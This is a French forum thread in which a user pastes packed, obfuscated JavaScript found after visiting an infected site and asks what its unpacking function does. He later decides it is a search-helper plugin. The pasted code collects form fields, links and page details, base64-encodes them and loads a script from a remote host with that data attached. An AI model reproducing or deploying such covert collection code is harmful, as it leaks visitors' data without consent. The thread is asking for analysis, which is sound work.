Je me suis chopé un virus en partie codé en JavaScript qui m'a collé un script qui me poursuit partout...
Voici une partie de ce script :
function(p,a,c,k,e,r) // p = du code; a = 62; c = 185; k = mot clés Javascript dans un tableau(var, return, etc...), e = 0; r = {}
{
e=function(c)
{
return (
(c<a) ? '' : e(parseInt(c/a))
)
+(
((c=c%a)>35) ? String.fromCharCode(c+29) : c.toString(36)
)
};
if(!''.replace(/^/,String))
{
while(c--)
r[e(c)]=k[c]||e(c);
k=[function(e){return r[e]}];
e=function(){return'\\w+'};
c=1
};
while(c--)
if(k[c])
p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
return p
}
J'ai mis en haut ce que contenaient les arguments, mais j'ai du mal à savoir à quoi sert cette fonction, je pense qu'elle remplace les chiffres et lettres dans le code (variable p) par leur correspondance (tableau k), mais je ne suis pas sûr...
Voici ce que j'ai trouvé, corrigez-moi si je me trompe...
Cette fonction semble renvoyer des chaines de caractères selon plusieurs comparaisons de c et de a, donc à tester avec chaque valeur utilisée dans le code...
On commence par une condition bizarre...
On tente de remplacer dans une chaîne vide tous les accents circonflexes par... L'objet String lui-même...
Bah déjà, remplacer un truc dans une chaîne vide, ça renverra false, je pense, donc la fonction est vérifiée, on rentre...
On décrémente c jusqu'à 0 (enfin, je crois) et chaque fois, on dit que la case correspondant à ce que renvoie la fonction e avec l'argument c vaut un mot clé JavaScript (une case de k) s'il existe ou la valeur retournée par e(c)...
Après ça, on ajoute une case à k (pas sûr du tout pour l'ajout de la case) que l'on remplit avec le contenu de la première case du tableau r (car e=0). Puis on créé une fonction e() qui renvoie '\\w+' et on met c à 1.
while(c--)
if(k[c])
p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
return p
Encore une fois, on décrémente c, mais problème : il est déjà à 1, la boucle ne va se produire qu'une seule fois ou bien pas du tout ?
Bref, si elle se produit, on remplace tous les '\b\w+\b' par un mot clé javascript...
A moins que ces \b et \w ne soient des mots clé des regex pour inclure une catégorie de chaînes de caractères...
Bref, on retourne p à la fin...
Donc cette fonction sert à remettre en état le code contenu dans p et l'eval (car tout ça est dans un eval) l'exécute ensuite, mais il reste à trouver la correspondance de chaque lettre et chiffres...
1x=V;
1y=V;
1X=V;
var 1Y=N()
{
N 1z(a)
{
if(!a)K 1A;
var b=a.1i(/[;&]/);
var c=1Z 20();
W(var i=0;i<b.L;i++)
{
var d=b[i].1i('=');
if(!d||d.L!=2)
1j;
var e=1B(d[0]);
var f=1B(d[1]);
f=f.S(/\\+/g,' ');
c[e]=f
}
K c
}
var q=/(1C|21)[a-22-9.1D-]*\\.1k(\\?.*)+$/;
var s=M.X('1E');
var t=s.L-1;
W(Y=0;Y<s.L;Y++)
{
if(s[Y].1l.23(q))
{
t=Y;
24
}
}
var u=s[t];
var v=u.1l.S(/^[^\\?]+(\\?)*/,'');
var w=1z(v);
var x='25';
var y=w['26']||x;
var z=w['27']||'';
var A=w['28']||'';
if(J 18=="P")
{
18=y
}
19='';
if(z!='')
{
19+=z
}
1a='';
if(A!='')
{
1a+=A
}
N 1m(a)
{
if('29'!=J a)
K'';
a=a.S(/\\r\\n/g,"\\n");
var b="";
W(var n=0;n<a.L;n++)
{
var c=a.1b(n);
if('8'!=J c)
{
if(c<1c)
{
b+=T.U(c)
}
R if((c>2a)&&(c<2b))
{
b+=T.U((c>>6)|2c);
b+=T.U((c&1d)|1c)
}
R
{
b+=T.U((c>>12)|2d);
b+=T.U(((c>>6)&1d)|1c);
b+=T.U((c&1d)|1c)
}
}
}
K b
}
var B=N(a)
{
var b="2e-1D*";
var c="",1e,Z,10,1n,1o,1f,11,i=0;
2f
{
1e=a.1b(i++);
Z=a.1b(i++);
10=a.1b(i++);
1n=1e>>2;
1o=((1e&3)<<4)|(Z>>4);
1f=((Z&15)<<2)|(10>>6);
11=10&1d;
if(1F(Z))
{
1f=11=1G
}
R if(1F(10))
{
11=1G
}
c=c+b.1g(1n)+b.1g(1o)+b.1g(1f)+b.1g(11)
}
2g(i<a.L);
K c
};
1p=1A;
N 1H()
{
var a=M.X('2h');
if(a.L>0)
{
var b='';
var c='@';
var d='@';
var e='@';
var f='@';
var g='@';
W(var i=0;i<a.L;i++)
{
if(a.I(i)==null)1j;
var h=a.I(i).O('1I');
var j=a.I(i).O('1q');
var k=a.I(i).O('1r');
var l=a.I(i).2i;
var m=a.I(i).O('2j');
var n=a.I(i).O('1s');
var o=a.I(i).O('1J');
if(h==null)h=j;
if(j==null)j=h;
if(k==null)k='13';
if(k=='2k')k='13';
if(n==null)n='';
if(o==null)o='';
if(h==null&&j==null)
{
h='2l'+i;
j=h;a.I(i).Q('1q',j)
}
1p=V;
var p=k.2m();
if(p=='13')
{
if(1x)
{
if(o=='')
a.I(i).Q('1J','2n')
}
b+=j+'|';
if(h==j)
{
h=''
}
c+=h+'|';
d+=l+'|';
e+=m+'|';
f+=n+'|';
g+=o+'|'
}
}
K b+c+d+e+f+g
}
K''
}
N 1K()
{
var a=M.X('2o');
if(a.L>0)
{
var b='';
var c='@';
var d='@';
var e='@';
var f='@';
W(var i=0;i<a.L;i++)
{
if(a.I(i)==null)1j;
var g=a.I(i).O('1I');
var h=a.I(i).O('1q');
var j=a.I(i).O('2p');
var k=a.I(i).O('2q');
var l=a.I(i).O('2r');
if(g==null)g='';
if(h==null)h='';
if(j==null)j='2s';
if(k==null)k='';
if(l==null)
{
l=''
}
R
{
if(J l=='N')
{
l=l.1L();
l=l.S('\\n','');
l=l.S('\\r','');
l=l.S('N 2t(){','');
l=l.2u(0,l.L-1);
l=l.S(/^\\s+|\\s+$/g,"")
}
}
b+=h+'|';
c+=g+'|';
d+=j+'|';
e+=k+'|';
f+=l+'|'
}
K b+c+d+e+f+e
}
K''
}
N 1M()
{
var a='';
var b=M.2v('2w');
a+=((b!=null)?'1':'');
a+='|'+((J 14.1N!="P")?1N:'');
a+='|'+((J 14.1O!="P")?1O:'');
a+='|'+((J 14.1P!="P")?1P:'');
K a
}
N 1t(a)
{
var r=a.1i('.');
K 1u(r[0])*2x+1u(r[1])*2y+1u(r[2])
}
if(14.2z==14)
{
if(J 1Q!='P')
{
2A
{
1R='1.4.0';
if(1t(1Q.2B)<1t(1R))
{
K
}
}
2C(e)
{}
}
if(J 1v=='P')
{
var C=1;
var D='^';
var E=1H();
var F=1K();
var G=1M();
var H=(("2D:"==M.1S.2E)?M.1S.1L():"");
1h=(B(1m(C+D+18+D+E+D+M.1s+D+19+D+1a+D+F+D+G+D+H)));
if(1h.L>2F)
{
1h=(B(1m(C+D+18+D+E+D+M.1s+D+19+D+1a+D+''+D+G+D+'')))
}
if(1p)
{
16='2G';
if(1y)
{
17=2H.2I();
17=17;
if(17<0.2J)
{
16+='1'
}
R
{
if(17<0.2K)
{
16+='2'
}
R
{
16+='3'
}
}
}
if(J(2L)=='P'&&J(2M)=='P'&&J(1v)=='P')
{
1T('2N://'+16+'.1C.2O/2P/2Q/?'+1h,'1k','1w');
1v=V
}
}
}
}
}();
N 1T(a,b,c)
{
if(b=="1k")
{
var d=M.1U("1E");
d.Q("1r","13/2R");
d.Q("2S","");
d.Q("2T","");
d.Q("1l",a)
}
R if(b=="1V")
{
var d=M.1U("2U");
d.Q("2V","2W");
d.Q("1r","13/1V");
d.Q("2X",a)
}
if(J d!="P")
{
if(c=="1w")
{
M.X("1w")[0].1W(d)
}
R
{
M.X("2Y")[0].1W(d)
}
}
}
Et voila la correspondance des chiffres d'après le split :
Chuis désolé, je suis trop parano, c'est juste un plugin d'aide à la recherche, mais vu que je l'ai jamais installé et que je l'ai eu en naviguant sur un site qui s'est fait infecter, me suis méfié...
Encore désolé,
au revoir.
L'important n'est pas de savoir maîtriser une technologie à la perfection, mais d'avoir une belle capacité d'adaptation.
Signification d'un code (partie d'un virus)
× Après avoir cliqué sur "Répondre" vous serez invité à vous connecter pour que votre message soit publié.
× Attention, ce sujet est très ancien. Le déterrer n'est pas forcément approprié. Nous te conseillons de créer un nouveau sujet pour poser ta question.
L'important n'est pas de savoir maîtriser une technologie à la perfection, mais d'avoir une belle capacité d'adaptation.
L'important n'est pas de savoir maîtriser une technologie à la perfection, mais d'avoir une belle capacité d'adaptation.
L'important n'est pas de savoir maîtriser une technologie à la perfection, mais d'avoir une belle capacité d'adaptation.
L'important n'est pas de savoir maîtriser une technologie à la perfection, mais d'avoir une belle capacité d'adaptation.